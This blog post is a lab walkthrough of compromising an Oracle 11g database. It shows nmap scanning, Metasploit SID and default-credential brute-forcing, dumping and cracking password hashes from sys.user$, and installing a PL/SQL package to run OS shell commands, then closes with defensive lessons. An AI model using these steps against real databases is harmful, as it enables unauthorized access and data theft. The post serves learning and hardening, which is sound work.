Following my last post, where an attacker established an entry point to the perimeter infrastructure, the following scenario describes how he might increase its foothold.
Databases are a rich pot of information which makes them strong candidates to be targeted regularly by someone with Evil intentions. Even if databases are behind firewalls and installed in hardened operating systems it is important to mention that access is allowed from Web tiers, business applications and other specialized tools that need to connect to the database making attacks possible. In this scenario I added two Windows 2008 Standard edition servers to the network environment described in part 1. One is an active directory domain controller and primary DNS server. The other is a database server running the popular Oracle Enterprise Edition version 11.2.0.3. I created a database, configured Oracle Enterprise Manager and defined a listener on default port 1521. With these components the environment was ready to perform tactics and techniques than an attacker might carry out in order to compromise a database. As result I could practice, learn and perform offensive techniques. Then, among other things I use this knowledge to create effective defenses and have some fun!
Because I am writing about databases and specially Oracle, the following brilliant individuals need to be mentioned David Litchfield, Alexander Polyakov, Alexander Kornbrust, Chris Anley, Slavik Markovich, Pete Finnigan and Paul Wright. A look at their books, articles or whitepapers for someone with interest in database security – especially in Oracle- is a must!
The steps described are the usual 5 steps that model an attack anatomy i.e., reconnaissance, scanning, exploit, keeping access and covering tracks . So, let’s start with scanning phase in order to find any open ports, which services are they offering and which operating systems are they running.
I started by launching Nmap to sweep the network and determine any open ports and services behind it.
root@linux:~# nmap -n -sV -Pn 10.0.0.0/24 Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-10 17:35 EDT
Nmap scan report for 10.0.0.100 Host is up (0.00043s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 113/tcp closed ident
Nmap scan report for 10.0.0.170 Host is up (0.00084s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 113/tcp closed ident 1521/tcp open oracle-tns Oracle TNS Listener
The scan report revealed 2 hosts . One of them has TCP port 1521 open and running Oracle TNS Listener. The Oracle TNS (Transparent Network Substrate) Listener is the interface for all communications with the Oracle database. On older version of Oracle it was possible to probe the TNS listener to find information about the database SID, version and other relevant information using tools like tnscmd10g created by Saez Scheihing. The service identified (SID) is important to discover because it is required to login. This is the first thing an attacker need to find out. To determine the SID a brute force attack can be launched. Several tools and methods are available to do this. For convenience and simplicity I will stick with the powerful Metasploit exploit framework which contains a module called sid_brute that connects to the TNS listener in order to attempt to discover the SID. This module uses a list of well known Oracle SID’s from Alexander Kornbrust website.
msf > use auxiliary/admin/oracle/sid_brute msf auxiliary(sid_brute) > show options Module options (auxiliary/admin/oracle/sid_brute): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 10.0.0.170 yes The target address RPORT 1521 yes The target port SIDFILE /opt/metasploit/apps/pro/msf3/data/wordlists/sid.txt. SLEEP 1 no Sleep() amount between each request. msf auxiliary(sid_brute) > exploit
[*] Starting brute force on 10.0.0.170, using sids from /opt/metasploit/apps/pro/msf3/data/wordlists/sid.txt... [+] 10.0.0.170:1521 Found SID 'ORCL'
This was easy to find because the SID was based on well known identifier that is used on default installations of Oracle. Next, I could try to login. When you install Oracle Database 11g Release 2 (11.2) all database accounts except SYS, SYSTEM DBSNMP and SYSMAN are locked. During the installation you are prompted to create a password for these accounts that should be at least 8 characters in length, contain at least 1 uppercase character, 1 lower case character and 1 digit. However, this is not mandatory and passwords such as “password” can be set. By default the accounts also contain a default profile that locks the user accounts after 10 failed login attempts for the duration of 1 day. Besides that, the accounts credentials are case insensitive including the passwords. So, this is the second challenge – to find username/password combination – and can be resolved by using another Metasploit module called oracle_login. This module uses a list of well known Oracle default credentials from Pete Finnigan website to discover easily guessed accounts.
msf auxiliary(sid_brute) > use auxiliary/admin/oracle/oracle_login msf auxiliary(oracle_login) > show options Module options (auxiliary/admin/oracle/oracle_login): Name Current Setting Required Description ---- --------------- -------- ----------- CSVFILE /opt/metasploit/apps/pro/msf3/data/wordlists/oracle_default_passwords.csv. RHOST 10.0.0.170 yes The Oracle host. RPORT 1521 yes The TNS port. SID ORCL yes The sid to authenticate with.
[*] Starting brute force on 10.0.0.170:1521... [*] Found user/pass of: sysman/sysman on 10.0.0.170 with sid ORCL [*] Auxiliary module execution completed
Once again, it was easy to find because the Oracle default installation contains many default user/password combinations. Is fair to write that DBA’s have higher priorities such as performance and availability and often the security is left behind resulting in weak controls. Reviewing the security posture of your databases should be done by someone who understands security.
By knowing this, I could gain access to the database using the traditional SQL*Plus client. Next, I would run a set of queries that would allow me to get more insight about the version of the database, which accounts are part of the DBA role and get the password representation for the users – this and other queries are compiled on the Red Team Field Manual.
root@linux:~# sqlplus sysman/sysman@//10.0.0.170/orcl
SQL*Plus: Release 10.2.0.4.0 - Production on Sat May 10 19:54:41 2014 Copyright (c) 1982, 2007, Oracle. All Rights Reserved. Connected to: Oracle Database 11g Release 11.2.0.1.0 - Production SQL>
SQL> select * FROM v$version;
BANNER -------------------------------------------------------------------------------- Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production PL/SQL Release 11.2.0.1.0 - Production CORE 11.2.0.1.0 Production TNS for 32-bit Windows: Version 11.2.0.1.0 - Production NLSRTL Version 11.2.0.1.0 - Production
SQL> select distinct grantee from dba_sys_privs where admin_option = 'YES';
GRANTEE ------------------------------ AQ_ADMINISTRATOR_ROLE DBA SCHEDULER_ADMIN OWBSYS APEX_030200 SYSTEM SYS WMSYS
SQL> select user from dual;
USER ------------------------------ SYSMAN
SQL> select name,password,astatus from sys.user$;
NAME PASSWORD ASTATUS ------------------------------ ------------------------------ ---------- SYS 92F9365E5CAB72B0 0 SYSTEM 2C7B1C1AEF52E670 4 SYSMAN 447B729161192C24 0
93 rows selected.
New versions of Oracle keep the password representation in SHA-1 algorithm but in this case the traditional method is still enforced which uses a DES encryption algorithm without real salt and can be brute forced in a timely manner. So, with valid credentials and their respective hashes I could attempt to crack them in order to gain DBA access. Next, I launched an offline dictionary attack against the hashes using John the Ripper – An old timer, extremely flexible and powerful password cracking tool written by Alexander Peslyak (Solar Designer). The hashes need to be in a format that JtR understands it as being oracle hashes.
root@linux:~# cat oracle.hash O$SYS#92F9365E5CAB72B0 O$SYSTEM#2C7B1C1AEF52E670
root@linux:~# john oracle.hash --wordlist=/usr/share/wordlists/fasttrack.txt Loaded 2 password hashes with 2 different salts (Oracle 10 DES [32/32]) JACKP0T! (?) JACKP0T! (?) guesses: 2 time: 0:00:00:00 DONE (Sun May 25 13:39:25 2014) c/s: 25.00 trying: JACKP0T! Use the "--show" option to display all of the cracked passwords reliably
With this the database its data is fully owned by the attacker!
root@linux:~# sqlplus sys/'Jackp0t!@//10.0.0.170/orcl as sysdba
SQL*Plus: Release 10.2.0.4.0 – Production on Sat May 10 19:54:41 2014 Copyright (c) 1982, 2007, Oracle. All Rights Reserved. Connected to: Oracle Database 11g Release 11.2.0.1.0 – Production SQL>
The attacker could now fully access to the database contents. This contents could be any kind of intellectual property or personal identifiable information that an attacker would attempt to steal. This is potentially the his end goal.
However, following this I could weaponize the access to interact with the operating system and further continue my exploit actions. To interact with the database there are different methods that are great explained in the books and articles from the mentioned researchers. Some of them are based on procedural programming language known as PL/SQL. Packages like UTL_FILE for File access and DBMS_SCHEDULER allow to execute shell command. Others are based on Java. Carsten Czarsk created a set of PLSQL packages based on Java for Oracle which provide access to the OS shell and the file system from SQL. The packages provide operations on files as well as the execution of shell commands. This package to be successfully installed needs Java Virtual Machine which is embedded in the database by default. After installation in order to be able to execute the Java functions and procedures you will need appropriate privileges. To set this privileges you need DBA rights, but as illustrated earlier gaining such privileges is not difficult. After downloading the package, unzip it and install it.
root@kali:~/tmp# unzip PLSQL_OSCOMMAND_1.0.zip root@kali:~/tmp# cd src/11g/ root@kali:~/tmp/src/11g# sqlplus system/oracle@//10.0.0.170/ORCL
SQL*Plus: Release 10.2.0.5.0 - Production on Thu May 29 10:50:42 2014
SQL> select comp_name, version from dba_registry where comp_name like '%JAVA%';
COMP_NAME -------------------------------------------------------------------------------- VERSION ------------------------------ JServer JAVA Virtual Machine 11.2.0.1.0
Next, by invoking the install.sql script the PL/SQL package will be installed. Following that, appropriate Java permissions and an additional statement needed for Windows system are executed.
SQL> start "install.sql"
************************************************* ** 1. Installing Java Code ...** ************************************************* ** 2. PL/SQL Package Specs** ************************************************* ** 3. PL/SQL Package Bodys**
No errors. SQL>
SQL> begin -- this grants read privilege on STDIN dbms_java.grant_permission( grantee => 'SYSTEM', permission_type => 'SYS:java.lang.RuntimePermission', permission_name => 'readFileDescriptor', permission_action => null ); -- this grants write permission on STDOUT dbms_java.grant_permission( grantee => 'SYSTEM', permission_type => 'SYS:java.lang.RuntimePermission', permission_name => 'writeFileDescriptor', permission_action => null ); -- this grants execute privilege for ALL shell commands: VERY DANGEROUS! dbms_java.grant_permission( grantee => 'SYSTEM', permission_type => 'SYS:java.io.FilePermission', permission_name => '<<ALL FILES>>', permission_action => 'execute' ); end; /
PL/SQL procedure successfully completed.
Elapsed: 00:00:00.91
SQL> begin os_command.set_exec_in_shell; end; /
PL/SQL procedure successfully completed.
Elapsed: 00:00:00.24
set long 20000
Now, I could execute OS commands with access to STDIN, STDOUT and many other things. I started by executing the OS_COMMAND package that allows shell commands execution from the SQL engine. First by launching the “ver” command that outputs the version of windows the database is running on. Next, I executed a “dir” and I could see that the directory contents of the Oracle folder were shown. Many other commands can now be used in order to gain advantage and further compromise the system. I will leave the journey from getting down from the Database to the Operating system level using other tools and techniques on part 3!
SQL> select os_command.exec_clob('ver') from dual; OS_COMMAND.EXEC_CLOB('VER') -------------------------------------------------------------------------------- Microsoft Windows [Version 6.0.6001]
SQL> select os_command.exec_clob('dir') from dual;
OS_COMMAND.EXEC_CLOB('DIR') -------------------------------------------------------------------------------- Volume in drive C has no label. Volume Serial Number is 4426-F394 Directory of C:\app\product\11.2.0\dbhome_1\DATABASE 05/22/2014 12:43 PM <DIR> . 05/22/2014 12:43 PM <DIR> .. 05/22/2014 12:38 PM <DIR> archive 05/22/2014 12:40 PM 2,048 hc_orcl.dat 12/22/2005 05:07 AM 31,744 oradba.exe 05/25/2014 09:05 AM 1,536 PWDorcl.ora OS_COMMAND.EXEC_CLOB('DIR') -------------------------------------------------------------------------------- 05/25/2014 10:03 AM 2,560 SPFILEORCL.ORA 4 File(s) 37,888 bytes 3 Dir(s) 47,146,033,152 bytes free
That’s it for now! Let’s summarize the mistakes made by Ville.com so one perhaps learn from their errors and omissions.
Mistake #1 – Ville.com was using the Oracle default SID. With this knowledge an attacker could attempt to connect to the database. The SID was easily guessed using Metasploit and a dictionary attack using well known SIDs. Ville.com should consider applying a strong SID which contains the same characteristics as a strong password and not based on a dictionary word.
Mistake #2 : A common username/password combination based on dictionary with default account lock-out settings was used. This made an dictionary based attack easy to pull off using Metasploit. Ville.com should consider applying as countermeasure to prevent such attacks a strong password or pass-phrase. Make sure is at least 12 characters long with a combination of numbers, upper and lower case letters plus special characters. Furthermore, passwords should be changed often. Other than that whenever possible leverage the possibility to authenticate database administrators using the Operating System or external systems.
Mistake #3 : Ville was not using the latest patches and security recommendations from Oracle. Patching is one of the most effective recommendations that someone should take. By using an outdated system the DBA exposed all user accounts due to an old encryption algorithm (DES) that can be easily brute forced using John the Ripper. Oracle releases Critical Patch Updates on January, April, July and October on the Tuesday closest to the 17th day of the month. By enforcing latest Oracle recommendations the passwords should have been stored on the database using strong algorithms such as SHA-1 with salt.
Mistake #4 : Ville.com was not using any kind of central logging system that would allow one to easily identify abnormal activity in the database. This allows the attacker who gained DBA privileges to tamper with the audit trails. By using a central logging system it would allow a diligent sysadmin to do log review and identify abnormal activity even in case the attacker would attempt to cover its tracks. In addition appropriate audit should be implemented at database and operating system level that would allow a normal routine check to expose the attacker. By default Oracle databases do not audit SQL commands executed by the privileged SYS, and users connecting with SYSDBA or SYSOPER privileges which means this are going to be the attackers first choice.
Many other great recommendations on how to secure Oracle are provided directly by Oracle on their security guide and by the folks mentioned in the beginning of this article.
Even though there are plenty of books and open source information that describe the methods and techniques demonstrated, the environment was built from scratch and allows to learn or reinforce techniques. The tools and tactics used are not new. However, they are relevant and used in today’s attacks. Likewise, one can learn, practice and look behind the scenes to better know them and the impact they have. Part III will follow with more steps and how an attacker might strengthen its position and move laterally.
Count Upon Security 